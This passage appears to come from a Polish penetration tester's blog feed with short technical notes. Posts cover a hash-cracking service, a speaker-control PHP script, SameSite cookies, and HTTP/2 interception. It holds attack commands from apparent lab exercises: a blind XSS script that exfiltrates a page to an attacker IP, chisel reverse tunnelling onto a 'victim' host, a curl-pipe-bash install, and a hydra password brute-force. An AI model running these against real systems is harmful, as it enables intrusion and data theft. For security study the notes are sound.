oraz działom bezpieczeństwa. </p><p>P.S. <br />Dla osób nietechnicznych - usługa nie łamie haseł do fecebooka, poczty itp. <br />Usługa tylko odwraca hashe. Więc jeśli masz hash, który chcesz odwrócić to możesz się skontaktować. </p><p><br /></p><p>P.S.2<br />Dla moich klientów, którzy zamawiają u mnie testy penetracyjne usługa jest już wliczona w cenę. Jeśli w procesie testów penetracyjnych odnajdę hash hasła to od teraz ten hash będzie poddany testom bezpieczeństwa na powyższych komputerach, co pozwoli uzyskać moim klientom wyższą jakość usługi. </p><p><br /></p><p>Poniżej przedstawiam próbki łamania haseł dla algorytmów md5 i sha256. </p><p>hasło: asd123<br />algorytm: md5 <br />czas łamania: 14 sekund<br /><br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-UUtPfJdIyaM/YYN_mnqDdUI/AAAAAAAAXps/Nvic0P_HtOQL859wXMhnYtb2Xi7jmOh4QCNcBGAsYHQ/s1049/hashcat6.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1049" data-original-width="925" height="540" src="https://1.bp.blogspot.com/-UUtPfJdIyaM/YYN_mnqDdUI/AAAAAAAAXps/Nvic0P_HtOQL859wXMhnYtb2Xi7jmOh4QCNcBGAsYHQ/w476-h540/hashcat6.PNG" width="476" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">hasło: michal</div><div class="separator" style="clear: both; text-align: left;">algorytm: md5 </div><div class="separator" style="clear: both; text-align: left;">czas łamania 8 sekund </div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-upcsUHqtTIA/YYOBX8kvjgI/AAAAAAAAXp0/HnRD56-zRd8jttQllBuATDAJcrIEy2tswCNcBGAsYHQ/s1037/hashcat6-michal.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1037" data-original-width="907" height="544" src="https://1.bp.blogspot.com/-upcsUHqtTIA/YYOBX8kvjgI/AAAAAAAAXp0/HnRD56-zRd8jttQllBuATDAJcrIEy2tswCNcBGAsYHQ/w476-h544/hashcat6-michal.PNG" width="476" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><div class="separator" style="clear: both;">hasło: michal</div><div class="separator" style="clear: both;">algorytm: sha256 </div><div class="separator" style="clear: both;">czas łamania 18 sekund </div><div class="separator" style="clear: both;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-hBB1rRd695U/YYOCQ8MiGgI/AAAAAAAAXp8/b1RUGXzS1NUO31GCqz_lUYzCI1v5lj7kwCNcBGAsYHQ/s1072/hashcat6-michal-sha256.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1042" data-original-width="1072" height="483" src="https://1.bp.blogspot.com/-hBB1rRd695U/YYOCQ8MiGgI/AAAAAAAAXp8/b1RUGXzS1NUO31GCqz_lUYzCI1v5lj7kwCNcBGAsYHQ/w497-h483/hashcat6-michal-sha256.PNG" width="497" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;"><div class="separator" style="clear: both;"><br /></div><div class="separator" style="clear: both;">hasło: Password123</div><div class="separator" style="clear: both;">algorytm: sha256 </div><div class="separator" style="clear: both;">czas łamania 11 sekund </div><div class="separator" style="clear: both;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-_-nAGqfOf94/YYODyQ7NVQI/AAAAAAAAXqE/XkXaFW1T_EkRZzokYllvYCiCTYlWbTDtACNcBGAsYHQ/s1061/hashcat6-Password123-sha256.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1033" data-original-width="1061" height="512" src="https://1.bp.blogspot.com/-_-nAGqfOf94/YYODyQ7NVQI/AAAAAAAAXqE/XkXaFW1T_EkRZzokYllvYCiCTYlWbTDtACNcBGAsYHQ/w525-h512/hashcat6-Password123-sha256.PNG" width="525" /></a></div><br /><div class="separator" style="clear: both;"><br /></div></div><br /><div class="separator" style="clear: both;"><br /></div><div class="separator" style="clear: both;"><br /></div></div><div class="separator" style="clear: both; text-align: center;"><br /></div><br /><div class="separator" style="clear: both; text-align: left;"><br /></div><br />w4ckyhttp://www.blogger.com/profile/18012875174650791715noreply@blogger.com0tag:blogger.com,1999:blog-7433218745767800030.post-33262108009406313462021-10-26T08:36:00.007+02:002022-09-14T13:21:01.497+02:00AudioCast M5 stream music from linux/windows<p> 1) set music: <br />http://192.168.51.173/httpapi.asp?command=setPlayerCmd:play:http://192.168.51.5/music/mata.mp3<br /><br />2) loop(1)/or noloop(0)<br />http://192.168.51.173/httpapi.asp?command=setPlayerCmd:loopmode:1<br /><br /><br />3) listen radio internet</p><p>http://192.168.51.173/httpapi.asp?command=setPlayerCmd:play:http://pr320.pinguinradio.nl/listen.pls</p><p><br />https://github.com/AndersFluur/LinkPlayApi/blob/master/api.md</p><p><br /></p><p>Stworzyłem skrypt, który sprawdza czy urządzenie jest włączone do prądu i jeśli jest to ma włączyć muzyke - do wykorzystania w inteligentnych domach.<br /><br /><br /><br /><br /><br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-nhaFiI64vKU/YXkX5D4YngI/AAAAAAAAXmI/vEtomcohPMwAUaNupxtXFas7FlDA_OpVQCNcBGAsYHQ/s476/music.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="465" data-original-width="476" height="313" src="https://1.bp.blogspot.com/-nhaFiI64vKU/YXkX5D4YngI/AAAAAAAAXmI/vEtomcohPMwAUaNupxtXFas7FlDA_OpVQCNcBGAsYHQ/s320/music.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;"><a href="https://github.com/w4cky/playmusic">https://github.com/w4cky/playmusic</a></div><br />
<div><span style="font-family: monospace;">cat playmusic.php </span></div><div><span style="font-family: monospace;"><?php</span></div><div><span style="font-family: monospace;">$ip = "192.168.51.173";</span></div><div><span style="font-family: monospace;">while(1){</span></div><div><span style="font-family: monospace;"> $ping = exec("ping -c 1 -s 64 -t 64 ".$ip);</span></div><div><span style="font-family: monospace;"> if(!empty($ping))</span></div><div><span style="font-family: monospace;"> {</span></div><div><span style="font-family: monospace;"> // Initiate curl session</span></div><div><span style="font-family: monospace;"> $handle = curl_init();</span></div><div><span style="font-family: monospace;"> // Will return the response, if false it prints the response</span></div><div><span style="font-family: monospace;"> curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);</span></div><div><span style="font-family: monospace;"> // Set the url</span></div><div><span style="font-family: monospace;"> $url = "http://$ip/httpapi.asp?command=getPlayerStatus";</span></div><div><span style="font-family: monospace;"> curl_setopt($handle, CURLOPT_URL,$url);</span></div><div><span style="font-family: monospace;"> // Execute the session and store the contents in $result</span></div><div><span style="font-family: monospace;"> $result=curl_exec($handle);</span></div><div><span style="font-family: monospace;"> // Closing the session</span></div><div><span style="font-family: monospace;"> curl_close($handle);</span></div><div><span style="font-family: monospace;"> $array = json_decode($result, true);</span></div><div><span style="font-family: monospace;"> // var_dump($array);</span></div><div><span style="font-family: monospace;"><br /></span></div><div><span style="font-family: monospace;"> if($array['Title']=='556E6B6E6F776E') // czyli jesli jest ten hash to nie gra</span></div><div><span style="font-family: monospace;"> {</span></div><div><span style="font-family: monospace;"> echo 'nie gra'; // wiec trzeba puscic muzyke</span></div><div><span style="font-family: monospace;"> // Initiate curl session</span></div><div><span style="font-family: monospace;"> $handle = curl_init();</span></div><div><span style="font-family: monospace;"> // Will return the response, if false it prints the response</span></div><div><span style="font-family: monospace;"> curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);</span></div><div><span style="font-family: monospace;"> // Set the url</span></div><div><span style="font-family: monospace;"> $url_radio = "http://$ip/httpapi.asp?command=setPlayerCmd:play:http://pr320.pinguinradio.nl/listen.pls";</span></div><div><span style="font-family: monospace;"> curl_setopt($handle, CURLOPT_URL,$url_radio);</span></div><div><span style="font-family: monospace;"> // Execute the session and store the contents in $result</span></div><div><span style="font-family: monospace;"> $result=curl_exec($handle);</span></div><div><span style="font-family: monospace;"> // Closing the session</span></div><div><span style="font-family: monospace;"> curl_close($handle);</span></div><div><span style="font-family: monospace;"> }</span></div><div><span style="font-family: monospace;"> else</span></div><div><span style="font-family: monospace;"> {</span></div><div><span style="font-family: monospace;"> echo 'gra'; // gra radio wiec nic juz nie robie :) czekam</span></div><div><span style="font-family: monospace;"> sleep(10);</span></div><div><span style="font-family: monospace;"> }</span></div><div><span style="font-family: monospace;"> }</span></div><div><span style="font-family: monospace;">}</span></div>w4ckyhttp://www.blogger.com/profile/18012875174650791715noreply@blogger.com0tag:blogger.com,1999:blog-7433218745767800030.post-15039746519907496882021-08-16T07:59:00.007+02:002021-08-16T07:59:47.860+02:00Red Teaming Gitbook Notes<p>Przydaje się podczas red teamingu</p><p><a href="https://kwcsec.gitbook.io/the-red-team-handbook/">https://kwcsec.gitbook.io/the-red-team-handbook/</a></p>w4ckyhttp://www.blogger.com/profile/18012875174650791715noreply@blogger.com0tag:blogger.com,1999:blog-7433218745767800030.post-15414859272819569212021-08-05T06:16:00.000+02:002021-08-05T06:16:46.325+02:00SamSite Cookie<p> </p><ul style="background-color: #fdfdfd; font-family: "Helvetica Neue", helvetica, sans-serif; list-style: none; margin: 0px; padding: 0px;"><li style="list-style-type: square; margin: 0px 0px 0.6em 1em; padding: 0px;"><code>SameSite=None</code><span style="vertical-align: inherit;">— plik cookie jest wysyłany we „wszystkich kontekstach” — mniej więcej tak, jak działały rzeczy przed wynalezieniem SameSite.</span></li><li style="list-style-type: square; margin: 0px 0px 0.6em 1em; padding: 0px;"><code>SameSite=Strict</code><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">—plik cookie jest wysyłany tylko w przypadku żądań pochodzących z tej samej domeny. </span><span style="vertical-align: inherit;">Nawet wchodząc na witrynę z linku spoza witryny, plik cookie nie zostanie wyświetlony, chyba że później odświeżysz stronę lub nawigujesz w obrębie witryny.</span></span></li><li style="list-style-type: square; margin: 0px 0px 0.6em 1em; padding: 0px;"><code>SameSite=Lax</code><span style="vertical-align: inherit;">—plik cookie jest wysyłany, jeśli przejdziesz do witryny przez kliknięcie linku z innej domeny, ale </span><em>nie,</em><span style="vertical-align: inherit;"><span style="vertical-align: inherit;"> jeśli </span><span style="vertical-align: inherit;">prześlesz </span><span style="vertical-align: inherit;">formularz. </span><span style="vertical-align: inherit;">To jest na ogół to, co chcesz chronić przed atakami CSRF!</span></span></li></ul><div><span style="font-family: Helvetica Neue, helvetica, sans-serif;"><br /></span></div><div><span style="font-family: Helvetica Neue, helvetica, sans-serif;"><br /></span></div><div><span style="font-family: Helvetica Neue, helvetica, sans-serif;">https://simonwillison.net/2021/Aug/3/samesite/</span></div><div><span style="font-family: Helvetica Neue, helvetica, sans-serif;"><br /></span></div><div><span style="font-family: Helvetica Neue, helvetica, sans-serif;">https://samesite-lax-demo.vercel.app/</span></div>w4ckyhttp://www.blogger.com/profile/18012875174650791715noreply@blogger.com0tag:blogger.com,1999:blog-7433218745767800030.post-69957726773161430482021-08-04T07:06:00.004+02:002021-08-04T07:06:49.388+02:00GoPhish - popraw swój phsihing<p> Ciekawy artykuł, pokazujący jak zmienić GoPhish </p><p>https://www.sprocketsecurity.com/blog/never-had-a-bad-day-phishing-how-to-set-up-gophish-to-evade-security-controls</p><p><br /></p>w4ckyhttp://www.blogger.com/profile/18012875174650791715noreply@blogger.com0tag:blogger.com,1999:blog-7433218745767800030.post-39697734053758777762021-03-13T11:55:00.004+01:002021-03-13T11:55:34.275+01:00Blind XSS Data Exfiltrationcat 2.js <br /><br />
<code>
var xhr=new XMLHttpRequest(); <br />
xhr.open("GET", 'http://gym-club..htb/security_threat/report.php', false); <br />
xhr.send();<br />
var xhr2=new XMLHttpRequest(); <br />
xhr2.open("GET", "http://10.10.14.121/aaaa?=" + btoa(xhr.responseText), false); <br />
xhr2.send();<br />
</code><div><code><br /></code></div><div><code><br /></code></div><div><code><div>└─# python3 -m http.server 80</div><div>Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...</div><div>10.10.10.208 - - [13/Mar/2021 11:54:48] "GET /2.js HTTP/1.1" 200 -</div><div>10.10.10.208 - - [13/Mar/2021 11:54:48] code 404, message File not found</div><div>10.10.10.208 - - [13/Mar/2021 11:54:48] "GET /aaaa?=PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICA8dGl0bGU+U2VjdXJpdHkgUmVwb3J0PC90aXRsZT4KICA8c3R5bGU+CiAgICB0YWJsZSwgdGgsIHRkIHsKICAgICAgYm9yZGVyOiAxcHggc29saWQgYmxhY2s7CiAgICB9CiAgPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KPGg0PkxvZ2dlZCBYU1MgYXR0ZW1wdHM8L2g0Pgo8dGFibGU+CiAgPHRoZWFkPgogICAgPHRyPgogICAgICA8dGQ+VGltZXN0YW1wPC90ZD4KICAgICAgPHRkPlVzZXIgQWdlbnQ8L3RkPgogICAgICA8dGQ+SVAgQWRkcmVzczwvdGQ+CiAgICA8L3RyPgogIDwvdGhlYWQ+Cjx0Ym9keT4KPC90Ym9keT4KPC9ib2R5Pgo8L2h0bWw+Cg== HTTP/1.1" 404 -</div><div><br /></div></code></div>w4ckyhttp://www.blogger.com/profile/18012875174650791715noreply@blogger.com0tag:blogger.com,1999:blog-7433218745767800030.post-72584770678400596782021-02-14T13:40:00.000+01:002021-02-14T13:40:00.758+01:00New Cheatsheet XSS 2021<p><a href="https://netsec.expert/posts/xss-in-2021/"> https://netsec.expert/posts/xss-in-2021/</a></p>w4ckyhttp://www.blogger.com/profile/18012875174650791715noreply@blogger.com0tag:blogger.com,1999:blog-7433218745767800030.post-32455326647238490472021-01-25T19:10:00.004+01:002021-01-25T19:10:31.992+01:00TCP/UDP reverse tunnel, transported over HTTP, secured via SSH - chisel<div>#### CHISEL INSTALL</div><div><br /></div><div><b>curl https://i.jpillora.com/chisel! | bash</b></div><div><br /></div><div>## copy to victim server: </div><div>www-data@passage:/tmp$ <b>wget http://10.10.14.143/chisel</b></div><div>wget http://10.10.14.143/chisel</div><div>--2021-01-25 08:55:34-- http://10.10.14.143/chisel</div><div>Connecting to 10.10.14.143:80... failed: Connection refused.</div><div>www-data@passage:/tmp$ wget http://10.10.14.143:8000/chisel</div><div>wget http://10.10.14.143:8000/chisel</div><div>--2021-01-25 08:55:47-- http://10.10.14.143:8000/chisel</div><div>Connecting to 10.10.14.143:8000... connected.</div><div>HTTP request sent, awaiting response... 200 OK</div><div>Length: 8704000 (8.3M) [application/octet-stream]</div><div>Saving to: 'chisel'</div><div><br /></div><div>chisel 100%[===================>] 8.30M 5.33MB/s in 1.6s </div><div><br /></div><div>2021-01-25 08:55:49 (5.33 MB/s) - 'chisel' saved [8704000/8704000]</div><div><br /></div><div>www-data@passage:/tmp$ </div><div><br /></div><div><br /></div><div>## my computer:</div><div><b>chisel server -p 9999 --reverse</b></div><div><br /></div><div>## victim computer </div><div><b>./chisel client 10.10.14.143:9999 R:631:localhost:631</b></div><div><br /></div><div>##############</div><div><br /></div><div><br /></div><div><br /></div><div>hydra -l paul -P /usr/share/wordlists/rockyou.txt -s 631 -f 127.0.0.1 http-get /admin/log/error_log</div>w4ckyhttp://www.blogger.com/profile/18012875174650791715noreply@blogger.com0tag:blogger.com,1999:blog-7433218745767800030.post-48421283484633309052021-01-25T08:32:00.005+01:002021-01-25T08:32:53.078+01:00Red Team Notes 2.0<p><a href="https://dmcxblue.gitbook.io/red-team-notes-2-0/" rel="nofollow" target="_blank">https://dmcxblue.gitbook.io/red-team-notes-2-0/</a></p>w4ckyhttp://www.blogger.com/profile/18012875174650791715noreply@blogger.com0tag:blogger.com,1999:blog-7433218745767800030.post-21395842453733670962020-12-18T15:00:00.002+01:002020-12-18T15:01:08.959+01:00intercept http2 (grpc) in BURP SUITE PROXY<p> as root:</p><p><b>iptables -t nat -A OUTPUT -p tcp -m owner ! --uid-owner mitmproxyuser -d 18.159.107.117 -j REDIRECT --to-port 8080 </b></p><p><b>adduser mitmproxyuser</b></p><p><br /></p><p>cat /etc/nghttpx/nghttpx.conf (downstream config)</p><p><br /></p><p>frontend=0.0.0.0,8080;no-tls</p><p>backend=127.0.0.1,8081;;proto=http/1.1</p><p>backend-keep-alive-timeout=5m</p><p>frontend-http2-read-timeout=5m</p><p>frontend-read-timeout=5m</p><p>frontend-write-timeout=5m</p><p>stream-read-timeout=5m</p><p>stream-write-timeout=5m</p><p>backend-read-timeout=5m</p><p>backend-write-timeout=5m</p><p>backend-connect-timeout=5m</p><p>listener-disable-timeout=5m</p><p>backend-http2-window-size=134217720</p><p>backend-http2-connection-window-size=1073741760</p><p>frontend-http2-window-size=134217720</p><p>frontend-http2-connection-window-size=1073741760</p><p>http2-proxy=no</p><p>private-key-file=/etc/nghttpx/server.key</p><p>certificate-file=/etc/nghttpx/server.crt</p><p>cacert=/etc/nghttpx/ca.crt</p><p>accesslog-syslog=yes</p><p>errorlog-syslog=yes</p><p>workers=5</p><p><br /></p><p>cat /etc/nghttpx/upstream.conf (upstream config)</p><p>frontend=127.0.0.1,8082;no-tls</p><p>backend=vendor-IP,28900;;no-tls;proto=h2</p><p>backend-keep-alive-timeout=5m</p><p>frontend-http2-read-timeout=5m</p><p>frontend-read-timeout=5m</p><p>frontend-write-timeout=5m</p><p>stream-read-timeout=5m</p><p>stream-write-timeout=5m</p><p>backend-read-timeout=5m</p><p>backend-write-timeout=5m</p><p>backend-connect-timeout=5m</p><p>listener-disable-timeout=5m</p><p>http2-proxy=no</p><p>accesslog-syslog=yes</p><p>errorlog-syslog=yes</p><p>workers=5</p><p><br /></p><p>run nghttp as root:</p><p><br /></p><p>┌──(root💀kali)-[/etc/nghttpx]</p><p>└─# <b>nghttpx</b></p><p>2020-12-18T14:38:21.383+01:00 8777 8777 99aaafb4 NOTICE (shrpx.cc:2882) Loading configuration from /etc/nghttpx/nghttpx.conf</p><p><br /></p><p>run burp suite proxy 127.0.0.1:8081 (invisible proxy)</p><p>USER OPTIONS -> Upstream proxy add 127.0.0.1:8082</p><p><br /></p><p>as mitmproxyuser:</p><p>┌──(mitmproxyuser㉿kali)-[/etc/nghttpx]</p><p>└─$ <b>nghttpx --conf upstream.conf</b></p><p>2020-12-18T14:42:00.364+01:00 9293 9293 59e630c7 NOTICE (shrpx.cc:2882) Loading configuration from upstream.conf</p><p><br /></p><p><br /></p><p>as root:</p><p>run python code (client http2)</p><p><br /></p><p></p><div class="separator" style="clear: both; text-align: center;"><div class="separator" style="clear: both; text-align: center;"><a href="https://lh3.googleusercontent.com/-pHIZdXiRQJs/X9y2GSMP78I/AAAAAAAAU3s/s_NvplUPRGEMVwSQ5VXMJ3bG1e2_pQuBwCNcBGAsYHQ/image.png" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="831" data-original-width="2541" height="217" src="https://lh3.googleusercontent.com/-pHIZdXiRQJs/X9y2GSMP78I/AAAAAAAAU3s/s_NvplUPRGEMVwSQ5VXMJ3bG1e2_pQuBwCNcBGAsYHQ/w662-h217/image.png" width="662" /></a></div><br /><br /></div><br /><p></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p>w4ckyhttp://www.blogger.com/profile/18012875174650791715noreply@blogger.com0tag:blogger.com,1999:blog-7433218745767800030.post-51568390975161284132020-12-18T12:12:00.004+01:002020-12-18T14:06:29.721+01:00Forward local connections to local BURP PROXY / MITM PROXY<p><br /></p><p>0)<br /></p><p>sysctl -w net.ipv4.ip_forward=1</p><p>sysctl -w net.ipv6.conf.all.forwarding=1<br /><br />sysctl -w net.ipv4.conf.all.send_redirects=0</p><p> 1) </p><p>iptables -t nat -A OUTPUT -p tcp -m owner ! --uid-owner mitmproxyuser -d dst_ip -j REDIRECT --to-port 8080 </p><p>2) <span color="currentcolor" style="font-size: 1em;">useradd --create-home mitmproxyuser</span></p><p>3) xhost +</p><p><span color="currentcolor" style="font-size: 1em;">4) </span>sudo -u mitmproxyuser -H bash -c "export DISPLAY=:0.0;java -jar /usr/bin/burpsuite" </p><p>or <br /><br /></p><p>4) sudo -u mitmproxyuser -H bash -c "export DISPLAY=:0.0;mitmproxy" </p><p><br /></p>w4ckyhttp://www.blogger.com/profile/18012875174650791715noreply@blogger.com0tag:blogger.com,1999:blog-7433218745767800030.post-81727936295209817132020-12-17T20:33:00.005+01:002020-12-17T20:33:51.526+01:00Virtualbox + 4k (3840x2160) resolution on guest <div>PS C:\Program Files\Oracle\VirtualBox> .<b>\VBoxManage.exe setextradata global GUI/MaxGuestResolution "3840,2160"</b></div><div>PS C:\Program Files\Oracle\VirtualBox> <b>.\VBoxManage.exe getextradata global GUI/MaxGuestResolution</b></div><div>Value: 3840,2160</div><div>PS C:\Program Files\Oracle\VirtualBox><b> .\VBoxManage.exe setextradata "Kali" GUI/LastGuestSizeHint "3840,2160"</b></div>w4ckyhttp://www.blogger.com/profile/18012875174650791715noreply@blogger.com0tag:blogger.com,1999:blog-7433218745767800030.post-7888770032461931372020-09-16T21:47:00.002+02:002020-09-16T22:21:24.025+02:00How to parse ffuf output file ffuf -o output_file
cat output_file | jq -c '.results[] | {url:.url,status: .status}'
for file in dirb/*; do cat $file | jq -c '.results[] | {url:.url,status: .status}'; done
w4ckyhttp://www.blogger.com/profile/18012875174650791715noreply@blogger.com0tag:blogger.com,1999:blog-7433218745767800030.post-52188152221927649862020-09-03T09:53:00.004+02:002020-09-03T10:00:46.653+02:00Jak wygląda szybka infekcja ransomware wszystkich boxów w sieci? właśnie tak<div class="separator" style="clear: both;"><a href="https://1.bp.blogspot.com/-m8mEKyf9Ljw/X1Cg5aqx7vI/AAAAAAAAT3M/qnR53Q0ps0AVLgxkij-4qdSFoK0EbHA6wCNcBGAsYHQ/s2570/ransomware.PNG" style="display: block; padding: 1em 0; text-align: center;"><img alt="" border="0" width="320" data-original-height="1194" data-original-width="2570" src="https://1.bp.blogspot.com/-m8mEKyf9Ljw/X1Cg5aqx7vI/AAAAAAAAT3M/qnR53Q0ps0AVLgxkij-4qdSFoK0EbHA6wCNcBGAsYHQ/s320/ransomware.PNG"/></a></div>
https://thedfirreport.com/2020/08/31/netwalker-ransomware-in-1-hour/w4ckyhttp://www.blogger.com/profile/18012875174650791715noreply@blogger.com0tag:blogger.com,1999:blog-7433218745767800030.post-70597279374082340782020-08-26T22:11:00.002+02:002020-08-26T22:11:15.621+02:00find .git repo!curl -s "https://crt.sh/?q=%25.domain.com&output=json" | jq -r '.[].name_value' | assetfinder -subs-only | sed 's#$#/.git/HEAD#g' | httpx -silent -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | aneww4ckyhttp://www.blogger.com/profile/18012875174650791715noreply@blogger.com0